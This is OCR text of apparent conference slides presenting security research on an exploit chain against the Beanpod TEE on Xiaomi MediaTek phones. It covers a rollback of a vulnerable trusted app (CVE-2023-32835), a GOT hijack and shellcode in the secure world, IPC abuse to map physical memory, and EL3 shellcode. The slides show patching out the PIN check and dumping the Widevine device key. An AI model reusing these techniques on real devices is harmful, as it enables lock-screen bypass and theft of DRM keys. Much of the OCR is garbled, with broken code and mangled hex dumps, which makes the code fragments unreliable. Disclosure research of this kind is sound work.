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root or die trying
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root or die trying

About phone

Device name

1) Become developer

_ Storage
MIUI version
MIUI Global
13.0.3 _
Stable Occupied
23.8 GB/i12scs
MIUI version

Android version

Android security update

All specs

Back up and restore

Factorv reset

®
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root or die trying

1) Become developer
2) Allow OEM unlock

6:31PMEBM X © -

&~ Developer options
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Full Home screen backups aren't currently protected

Don't lock screen
Screen won't go to sleep while charging

Skip screen lock

Go directly to Home screen when screen
lights up

Bluetooth HCI snoop log
Disabled

OEM unlocking

Allow the bootloader to be unlocked

WebView implementation
Android System WebView

Mi Unlock status
Check if the device is locked

Automatic system updates
Apply updates when device restarts

DSU Loader

Load a Dynamic System Update Image

Demo mode



root or die trying

1) Become developer

2) Allow OEM unlock

3) Create and bind Mi
account (only via mobile
data)
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Mi Unlock status

This device is locked
The phone is secured

UuniocCk It Tirst.

Remember: You won't be able to use "Find
device" after the phone is unlocked.

1. Make sure you've already inserted a SIM
card into your device.

2. Turn off Wi-Fi and turn on mobile data.
Make sure your device can connect to the
internet using mobile data.

3. Tap "Add account" below to associate
your Mi Account with this device.

4. Download the unlock tool from our
website. Note that you should unlock
devices using a computer. Download here:
https://unlock.update.miui.com
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root or die trying

1) Become developer

2) Allow OEM unlock

3) Create and bind Mi
account (only via
mobile data)

4) Use shady Win-only
software to unlock



root or die trying

1) Become developer

2) Allow OEM unlock

3) Create and bind Mi
account (only via
mobile data)

4) Use shady Win-only
software to unlock

5) Wait a decade, try
again with success!



root or die trying

1) Become developer

2) Allow OEM unlock

3) Create and bind Mi
account (only via
mobile data)

4) Use shady Win-only
software to unlock

5) Wait a decade, try
again with success!

6) Magisk-root device







reot TEE code execution or die trying

[rustZone®

KSystem Security by ARU

10



“Trusted” == vendor-trusted

[rustZone®

kSystem Security by ARM /

: : 11
image: Flaticon.com



Target & Threat Model

[ Client Applications

Trusted Applications }




Normal World
(Rich Execution Environment)

value is used as a pointer.
Can point to arbitrary
memory!

| will forward
this value
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keyinstall Vulnerability (CVE-2023-32835)

uint32_t query_drmkey_impl(keyblock t *keyblock, ..., uint32_t *keytypes_out, ...) {

keyblock
keycount I(EZ;:;:: e
e OX42

keytypes_out

0x42

LIES

th.H_'l'_'ﬁ:J

keytypes_out is vulnerable to GlobalConfusion
Result: arbitrary write primitive in keyinstall TA
Patch by MediaTek with CVE-2023-32835

Unfortunately, no rollback prevention



Previous Work: keyinstall TA Rollback

- L= =R image: Flaticon.com
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Details e
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keyinstall TA Rollback

Magisk overlayFS

opal:/ # find /data/adb/modules/

/data/adb/modules/

/data/adb/modules/keyinstall

/data/adb/modules/keyinstall/system

/data/adb/modules/keyinstall/system/vendor
/data/adb/modules/keyinstall/system/vendor/thh
/data/adb/modules/keyinstall/system/vendor/thh/ta
/data/adb/modules/keyinstall/system/vendor/thh/ta/08110000000000000000000000000000 . ta

/data/adb/modules/keyinstall/module.prop
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keyinstall Arbitrary Write, But Where?

Older Xiaomi device

dandelion:/ # cat /dev/teei config

ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|
ta_keyin|

[TEE]
[TEE
[TEE
[TEE
[TEE
[TEE

[TEE
[TEE
[TEE
[TEE
[TEE

]
]
]
]
]
[TEE]
]
]
]
]
]
[TEE]

opal:/ # cat /dev/teei_config

ta_keyin| [ISEE] Current TA enable log enc

ta_keyin| {#af/3tsHOGalposxQtQdOutVdVQMae1KOqcsITTk=#}

ta_keyin| {#GeSaKcLOGakzZh2/DtQd0urz2Ze9VIdGjxFKEpSrMNeJVWNdO#}

ta_keyin|

ta_keyin| {#ea3gDsPOGal5ULWotgdOui9+fl/lgSHvxmEGJMAc=#}

ta_keyin| {#KZKDgcPOGakpNVgbtwdOuvkoX4Cp88QdPtH3anbYaco6gUsAIBmEKw==#}
ta_keyin|

ta_keyin| {#iVvJZsTOGamJ/pOAuAdOuiX3cvO5SkSIXDRRKkXk=#}

ta_keyin| {#OUBs2cTOGak540BzuAdOui2kISsWtGQPqgbpYwdPPnVGIUAiIFcxZYBOtC2IQn#}
ta_keyin|

ta_keyin| {#mQmyvsXOGamZrlZYuQdOunnQtcBu1dgMf76Nubo=#}

ta_keyin| {#Se5UMcbOGalJkSnLuQdOulmfC8a1gLvli1iB9lklv/u2PdPI12BbJgD+YFeR9q6zARifh48J/rW+X6A==#}
ta_keyin|

ta_keyin| {#gbeaFsfOGampWm+wugdOuqJ7ykR+w15CVIjGsDc=#}

ta_keyin| {#W2Zw9icfOGalZPxljuwdOumPd5exy7+L8LCaUOrFhLAe2dqQ/X5beaw==#}




keyinstall Arbitrary Write, But Where?

q0000.ta (keyinstall TA)

Base address of libuc_c.so?

hvokeCommandEnt ryPoint " ,param_2) ;

Bruteforce!

nm -D *.so
‘ JlibuTdrv_framework.so
| haannnd dicahla Ina _anc flan

void msee_ta_printf_va(...) { b
Jlibuc_c.so

if (__beanpod_disable log enc _flag != 0) {
00058c64 B __ beanpod_disable_log_enc_flag

/I print plaintext
} else {
/I print encrypted text

}

AT g eT

U _ beanpod_disable log_enc flag
JlibuTdrv_call.so

U __ beanpod_disable_log_enc flag
JlibuTlog.so

U _ beanpod_disable log_enc flag
JlibuTbta.so

M m U __ beanpod_disable_log_enc flag
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http://08110000000000000000000000000000.ta

keyinstall Arbitrary Write, But Where?

opal:/ # cat /dev/teei config

ta_keyin| [ISEE] Current TA enable log enc

ta_keyin| {#avN6FMThpWQ1ZGs6x1ZB/qCoWQjbGO0ydZIfREz0=#}
ta_keyin| {#cpyrFMThpWQ9DZw6xIZB/jZf6VRShXjGWTXCO3vMKpwrL84Q#}
||

ta_keyin| [KI_TA] INFO

ta_keyin| TZCMD_DRMKEY_QUERY end, count: 1

ta_keyin|

ta_keyin| [KI_TA] INFO

ta_keyin| TA_CloseSessionEntryPoint

ta_keyin|

ta_keyin| [KI_TA] INFO

ta_keyin| client called 1 times, encoded 0 bytes

ta_keyin|

ta_keyin| [KI_TA] INFO

ta_keyin| TA_DestroyEntryPoint

encrypted log output
before enc flag overwrite

plaintext log output
after enc flag overwrite




Oh My .got - PC Hijacking

.got
SHT _PROGBITS [0x1d154 - Oxldleb]
ram:0001d154-ram:0001dleb

__DT_PLTGOT XREF[2] : 0001d108(*),
_elfSectionHeaders: : 000002b4 (*)

0001d154 Oc dO G1 00 addr _DYNAMIC
0001d158 0O 00 G0 00 addr 0000

PTR_0001d15c XREF([1]: 00008b6c (R)
0001d15c 0O 00 00 00 addr Jefelele]

PTR_LAB_0001d160 XREF[1] : TEE PopulateTransientObject:0000...
0001d160 60 8b 0O 0O addr LAB_000O8BhED

PTR_LAB_0001d164 XREF([1] : TEE_DigestUpdate:00008b88(R)
0001d164 60 8b 00 0O addr LAB_0000O8hEO

PTR _LAB_0001d168 XREF[1] : TEE_CipherInit:00008b94(R)
0001d168 60 8b 0O 0O addr LAB_0000O8hE0

PTR_LAB_0001d16c XREF[1] : mdrv_ioctl:00008ba0(R)
0001d16c 60 8b 0O 0O addr LAB_0000O8hE0

PTR _LAB 0001d170 XREF[1] : memcpy : 00008hac (R)

0001d170 60 8b 0O 0O addr LAB_0000O8hE0



Oh My .got - PC Hijacking

08110000000000000000000000000000.ta (keyinstall TA)

[...]
heap_chunk = TEE_Malloc(our_size,0);
if (heap_chunk == N

memcpy(heap_chunk
[.] ta_keyin| === query_drmkey_impl start ==

] ta_keyin|

ta_keyin| [KI_TA] ERROR

ta_keyin| Magic number error in Query DRM Key
ta_keyin|

ta_keyin| [KI_TA] ERROR

opal:/ # cat /dev/teei_config

ta_keyin| query_drmkey_impl, ret: OXFFFFFFFF

ROy

ta_keyin| [TEE] Hello 39C3

4ol il 1T/l _TATINICAO



http://08110000000000000000000000000000.ta

Oh My .got - Praying for RWX

keyinstall TA

[...]
heap_chunk = TEE_Malloc(our_size, 0);
if (heap_chunk == NULL) break;

memcpy(heap_chunk, our_buffer, our_size);
[...]
FEE—+reetheap—ehuniad; my_func_ptr(heap_chunk);

1= | rx

blx in arm32
addr of next insn stored in LR

A rwx

/Lge: Flaticon.com

4k
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Oh My .got - Injecting
#define GTEE_LogPrintf 0x8be0

int fib(int i) {
intprev=0, f=1, tmp;
while(i 1= 0) {
tmp =f + prev;
prev = f;

f= tmp; -—
I__

& S-ELO

}

__attribute__ ((section(".text.prologue")))

void _start () {
void (*TEE_LogPrintf)(char* fmt, ...);
TEE_LogPrintf = (void(*)(char®, ...)) GTEE_LogPrintf;
TEE_LogPrintf("fib(42) = %d\n", fib(42));

Shellcode

opal:/ # cat /dev/teei_config
ta_keyin| [KI_TA] INFO

ta_keyin| TZCMD_DRMKEY_QUERY start
ta_keyin|

ta_keyin| [KI_TA] INFO

ta_keyin| Input = 0x818020
ta_keyin|

ta_keyin| [KI_TA] INFO

ta_keyin| Inputbuffersize = 4096
ta_keyin|

ta_keyin| [KI_TA] INFO

ta_keyin| Keytype buffer = 0x819020
0 1o i

ta_keyin| fib(42) = 267914296
ta_keyin| fib(42) = 267914296




FEE Secure Monitor or die trying

| Code execution at S-ELO (TA) |

| Pwn the TEE | £LO
1 o EL1
Sk
Beanp«d
EL3

Normal World

Secure World

Client Applications

.

[ [ugigi Applications

| TEE I||ternal Core API
, — |

Rich OS

J 1L

Trusted OS

Secure Monitor
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BeanPod TEE 5

- soter_dump ls
ese server libese_spi_p73.s0 lib_ree_mMem.s
"fiasco -serial_esc’ libese_spi_st.so lib_seapi_inn
ldre lib_fido_tal.so libseapi.so
libdlog. so libfp_server.so lib_sec_manag

libdre-c.so libirg.so libslab.so

libdre-c-util.so libkey. so lib_sst_parti
libdre.so libkproxy. so libsupc++.s0
libd4re-util.so libld4sys-direct.so libteec++.s0

lihe ho ldvrafilo <on h r

The Beanpod TEE runs on top of the L4Re (Fiasco) microkernel

= B ELE



Microkernel Kernel Privesc

< - Inter Process Communication

’| a2
/ E!; A Intentionally small codebase
/ bl
¥ RO /

3

,° Iﬁg <= Only open source components
ELF [Ny
N \ Made in Germany

ELF

Privileged functionality is moved to user space processes (vendor components)
=) B=E=ELE 27




Microkernel Kernel Privesc

Plan:

1. Enumerate reachable IPC servers

2. Find a bug in a reachable IPC server

3. Exploit that bug to pivot to IPC server

4. Repeat 1-3 until sufficient privileges are achieved

28



Step 1: IPC Servers reachable from TA

[@811@ ta IPC ¢ ) S-ELO

Fiasco S-EL1
Kernel




Channels, Capabilities & Servers

Channels: Abstraction for an IPC communication channel

Capabilities: Access to IPC Channels (client or server side)

Servers: Processes with access to server side of capability

Capabilities:

- Channel

Client1

Client2

Channel

Client3

Server

Capabilities:

- Channel:srv()

30



Enumerating our TA’s capabilities

What processes can our TA communicate with?
A processes’ capabilities are stored in the l4re_global_env

Enumerating capabilities:

void enum_caps(l4re_env_t* e){
l4re_env_cap_entry t const *c = e->caps;
logprintf2("e->caps: %x\n", c);
for (; c & & c->flags != ~OUL; ++c){

logprintf2("cap: %s\n", c->name);

}

31



Enumerating our TA’s capabilities

Setup of Processes done with a lua script by the ned process (kinda like init)

l:start({
caps =
TZ vfs = uTgate vfs,
TZ msg = uTgate msg,
TZ key = uTSeckey,

system = uTsst system:svr(),
memory client ns = uTMemory_ns,

}

}, "rom/sst-server");




IPC Attack Surface from TA

TZ_Crypto - uTSeckey
TZ sem -> TSemaphore
TZ_vfs - ree_agent
TZ_devinf -> uTSeckey
TZ_reetime -> ree_agent
tee_server - gptee_server

33



Step 2: Find a Bug in an IPC Server

N
memory_client -
[@811@ .. ta {uTMemory} S-ELO
J

34



*)
®)

memory client(ns) =

memory_client_* -> uTMemory

uTMemory has a capability to communicate with the sigma0 process

sigmao0: root pager (full access to all RAM)

l:start({

caps= {
TZ memory uTMemory svr(),

-— = . _

— L A

51gma@ L4. cast(L4 Proto Factory,L4.Env.sigma@):create(L4.Proto.Sigmag),

L.\_.JL. rrauail \_JI.JU\-\_ - L.\_JL. ruai \_JI.JUI\-\_,

}s

}, "rom/uTMemory");




uTMemory (server-side)
uTMemory registers a dispatch callback with the uTMemory:srv() capability

uTMemorySrv srv;

srv.vtable = &dispatch_vtable;

14 cap idx_t sigma® = l4re_env_get cap e("sigma®", 14 re global env);
srv.sigma® cap = sigmao;

// register IPC listener

register_obj(&srv, "TZ Memory");

36



uTMemory dispatch function

Retrieve Message Register values

int dispatch(uTMemorySrv* srv, L4::Ipc_iostream& ios){

mre << ios;
mr5 << ios;

L4Re: :Rm: :reserve_area(.. ,&mem_area, ..);
sigma@_ ipc(srv->sigma@ cap, mem_area, mr3, mr4, mr5..);

37



uTMemory dispatch function

sigma0_ipc makes an IPC call to sigma0

“w L

*utch = uVar3;

utcb[1l] = local_38 & OxfffffooO | uvarl;

—_ —

utch[0x40] = 0O;

utcb[0x41] = 8;

Utchl0x42] = param_5 & Oxfffffoo0 | uvarl;

uvaré = (*(code *)&SUB_fffffff4) (Oxfffado03,utch,sigma® cap | 3,0)
trh _ (undafinadAd k) LA rE wo NAvON) .

M—>mMr [ type;

source code of map_mem M->Mr [ 14_fpage(phys, 1, L4_FPAGE_RUX).raw;
oy o . b->bdr = ;
(libsigma0/lib/src/mem.c) b->brl 1 = L4_ITEM_MAP;

b->brl[ 1
tag = 14_ipc_call(sigmaB, utcb, tag, L4_IPC_NEUVER);

14_fpage(virt, 1, L4_FPAGE_RHX).raw;

SI=SE o 8



Mapping arbitrary physical memory

“memory_client” used in the ut_pf_mm_map_s function from libree_mem_base.so

int ut_pf_mm_map_s(int pa_low, int pa_high, int size, int perm, int* va)

pa_high =
. pa_low = ;
Map_r = do_ut_pf mm_map(ut_pf _mm_map_s, pa_high, pa_low,
: , &atf _va);
logprintf2( , Map_r);

logprintf2( , atf_wva);:

39




Mapping arbitrary physical memory

Mapping the secure monitor

opal:/proc # cat atf_logsatf_raw_buf

622@ZAFTAB INFO : [ATF1(B)[2.2576631ATF log service is registered (BxbfeBBd
NOTICE: [ATF1(B8)[2.2585991BL31: vl.6(debug) :dcbfb632dd

NOTICE: [ATF1(B)[2.2592831BL31: Built : 14:86:28, Sep 13 2824

NOTICE: [ATF1(B)[2.2598921BL31_BASE=-Bx48cB3888, BL31_TZRAM_SIZE=8x1f {0606

[TZ_LOG] ta_keyin! mapping: 8x48cB83888\x8d
[TZ_LOG] ta_keyin: map result: BxB\x8d

[TZ_LOG] ta_keyin: va: 8x843888\x8d
[TZ_LOG]1 ta_keyin: found addrof md4u str: 86dadf>\x8d
[TZ_LOG]1 ta_keyin: ==== crashing ==== \x#d
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Step 3: Exploit and Profit

[08110..ta

~

memory_client
uTMemory

~

sigma@d sigmao S-ELO

map
physical
memory

S-EL1

[Secure Monitor} S-EL3

41



Shellcode at EL3

Write shellcode into mediatek_plat_sip_handler_bootloader SMC handler (hopefully
unused after bootloader stage)

In mediatek_plat_sip_handler_kernel patch an SMC handler that doesn’t do anything to
jump to shellcode

if (smc_fid == 0xc200051d) {
return return_0();
}

42



Shellcode at EL3

How to trigger this SMC? (SMC can only be made from N-EL1)
Overwrite sys_quotactl system call to make an SMC call with x0 = 0xc200051d

POC makes sys_quotactl system call to trigger EL 3 shellcode

43



Shellcode at EL3

Normal World

Secure World

ELO [ POC }4— —————

{0811.ta rw }

EL1 {Linux }

EL3 [Secure Monitor

S=E LD
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Shellcode at EL3

Normal World

ELO
EL1

EL3

4&5’35—!51.(?

Secure

World

|

POC }4————

—

0811.ta ;% rw
:

{Linux

|

[Secure Monitor

F

er,,e l
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Shellcode at EL3

Normal World

ELO
EL1

EL3

S—ELID

Secure World

//_\1
[ POC }* ————— {0811.ta rw
ven
C
{Linux X I\ m “‘OTF\JECO
[Secure Monitor ‘I— @ }
Ifel'nel - boo loade
C\ h e"dl ~Sm, - ha
ep "dler




Shellcode at EL3

ELO

EL1

EL3

Normal World

Secure World

[ POC

[0811.ta

N\
sys_quotactl N\

|
Line q\\l\ [ e |

[Secure Mon itor\I—DE
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Shellcode at EL3

EL3

[ATF 1(5)K: . 176485 ] (2) M4u_secure
[ATF1(B)K: . 335697 IM4u_secure_handler tfa,
[ATF1(B)K: .3357381 (3) m4u_secure
[ATF1(B)K: . 984298 Imdu_secure_handler_tfa,
[ATF1(B)K: . 984334 ] (2) m4u _secure
LATF1(B)K: . 876858 1hello from atf?t
Linux rx -‘ Fiasco
N\
\
[Secure Monitor t'f;;.‘f }
lrep,,el . bog log .
) mqhe"dlerd - ~hangyq,, 48



Alternatives?

R .
meforgl taitent mao , -
[@811@..ta Dﬂsst—server S sigmao S-ELO
J
map
physical _
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Alternatives?

What if our TA did not have the memory_client capability?

sst_client

- sst-server

1:start({
caps

memory client _ns = uTMemory_ns,

¥

}, "rom/sst-server");

memory_client_ns == memory_client
(same dispatch function and handled the same)

50



Stack Overflow in SST-Server

dispatch function if
mrO0 == Ox41

void vfs do work(...){
char buf[260];

int* mrs = &utcb->mro;
switch(mrs[0]){
case 0x41: {
| memcpy (buf, shared_mem, mrs[6]); |

51



ROP chain that prints “SST

B

Triggering the Stack Overflow

892.
892.
892.
892.
892.
892.
892.
892.
892.
892.

3735681
3735641
3735691
3735741
3735781
3735831
3735891
3735931
3735981
3736821

SSE O

[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]
[TZ_LOG]

m” then crashes:

ta_keyin:
ta_keyin:
ta_keyin.
ta_keyin:

SST_S
SST_S
SST_S
SST_S
SST_S
SST_S

BxB\x8d

LaKelrml: unhandled read page fault @63616174 pc=f648\x8d
L4Re: unlkndled exception: pc=Bxf648\x8d

current task: \x1bI[R\x8d

L4Re: fault thread regs: \x8d

pc=8xf648 sp=-Bx88887dBB 1r=-Bx1591e4 cpsr=Bx2808880818\x8d
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08110 .. ta

S-ELO
map
physical S-EL1
memory

[Secure Monitor} S-EL3
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What Now?

We're able to modify all physical memory of our device

1. Any pin works!

2. M keys?

From this point shellcode == shellcode in EL3

54



Circus Trick: Any Pin works!

PIN/Pattern/Password Fingerprint Request

?

Pin Authentication Flow:

Gatekeeper TA checks the Pin ?

0 s o E==y-o
If the pin is correct an AuthToken created F‘] - ¢ﬁ-
. AuthTolffn AT

—» gatekeeper fingerprint & oy

TRUSTED EXECUTION ENVIRONMENT (TEE) OS

https://source.android.com/docs/security/features/authentication

A
- B 55



Circus Trick: Any Pin works!

EL3 shellcode to search for gatekeeper TA in memory

Patch out the actual pin check

TA_InvokeCommandEntryPoint - teei_gatekeeper_verify - Verify

000Oca9c 00 30 95 e5
0000caal Ob 10 a0 el
0000caad 05 00 a0 el
0000caa8 20 20 84 e2

LAB_000OcalSc

ldr
cpy

cpy
add
1A

r3, [r5,#0x0

]
ey 4 Call to Verify

r2,r4,#0x20

BlaleTe o 20 Qg2 oo
| J000cab0 33 ff 2f el
VobUCab4 L0 L0 S0 el

b1lx

i , 0% 28]

NANNNAahO 1Th AN NN 1A

cmp
hl'\ﬁ

ro, #20x0
1 AD NANNNARD-~

replace blx r3 with mov r0, #1





https://docs.google.com/file/d/1NzqWXJjHvxjnn9Gic2FSmkSaE82oMvbi/preview

-: Dumping the w-e L1 Device_Key

WIe TA: e97c270ea5c44c58bcd3384a2fa2539¢.ta

Triggering interaction with the TA: ExoPlayer (https://github.com/androidx/media)

9:36 & -

ExoPlayer

SW secure decode

HW secure crypto

HW secure decode

HW secure all (L1)

2 o-mm


https://github.com/androidx/media

-: Dumping the w-e L1 Device_Key

Factory-provisioned keybox contains the root of trust (device_key)*

TABLE I
WII: KevBoXx

Field Description Size (bits)
Device 1D Internal Device 1D 254
Device Key 128-bit AES key 128 J

~TTOVISIOMNE TORCH UScd Dy Provision requeses I E—
Magic Number “kbox™ B2
CRC32 CRC32 validating the keybox integrity 32
Total 1024

2 o-mm

*https://univ-rennes.hal.science/hal-03631377/document
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-: Dumping the w-e L1 Device_Key

keybox stored in .data section

=> dump the TA from memory and get the device_key

int kb _get device key(void *out){
if (keybox != 0) {
TEE_MemMove (out,keybox + 0x20,0x10);
return 90x10;

}

msee_ta printf _va("kb_get device key: keybox not install.\n");
msee_ta printf_va("\n");
return 0;

}
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-: Dumping the w-e L1 Device_Key

aBBnvd2e :
aBBnAd3a8 :
ABBBABd48 :
8886884508 :
aBBBad6a :
#8888d470 :
BBBBAdEs :
aBBBad9e :
aBBBBdal :
AaBBBAdDbA :
AB8BBAdcH :
B88688dda :
aBBBdded :
aBBnadfe :
BBBBBenyd :
aBBBbve18 :
a888ve20 :

=

#aBB8  RK16B_617558
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Recent Phones using Beanpod

Xiaomi with MediaTek SoC
Beanpod is being phased out for MITEE (new Xiaomi TEE)
Phones:

- Redmi 15C / POCO C85 (9.2025)
- Redmi 13 (7.2024)

- Redmi Note 12s (6.2023)

- Redmi Note 11s (6.2022)



Compartments Enable Privilege Separation

N oy

3333 @i
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So what went wrong?

Fiasco
Kernel

map
physical
memory

Fven microkernel-based

systems can be exploited, when

the policy is too permissive

S-ELO

S-EL1
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Compartmentalization Policy Whut?

Great design, bug free microkernel but the vulnerability was in the policy
How do we write policies for such systems?

This calls for research into new hardware mechanisms, policy generation, language
features, and port legacy code
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—

Conclusion: @r-=o — Bo=moe — Qs-ms

Exploit chain from N-ELO to S-EL3

e N-ELO to S-ELO through a rollback attack to exploit a type confusion vulnerability
e S-ELO to S-EL3 through an overly relaxed IPC policy (bonus: stack overflow)

First to publicly exploit the Beanpod TEE, microkernel-based systems can be vulnerable!

Repo: https://github.com/HexHive/beanpod_fiasco

Join the HexHive if you're interested in working on compartmentalization!

Philipp: https://philippmao.github.io/ { BB

=+t 0ddcode: https://mbusch.io/ -9 = E P
: gannimo: https://nebelwelt.net/ @ h 1Ve
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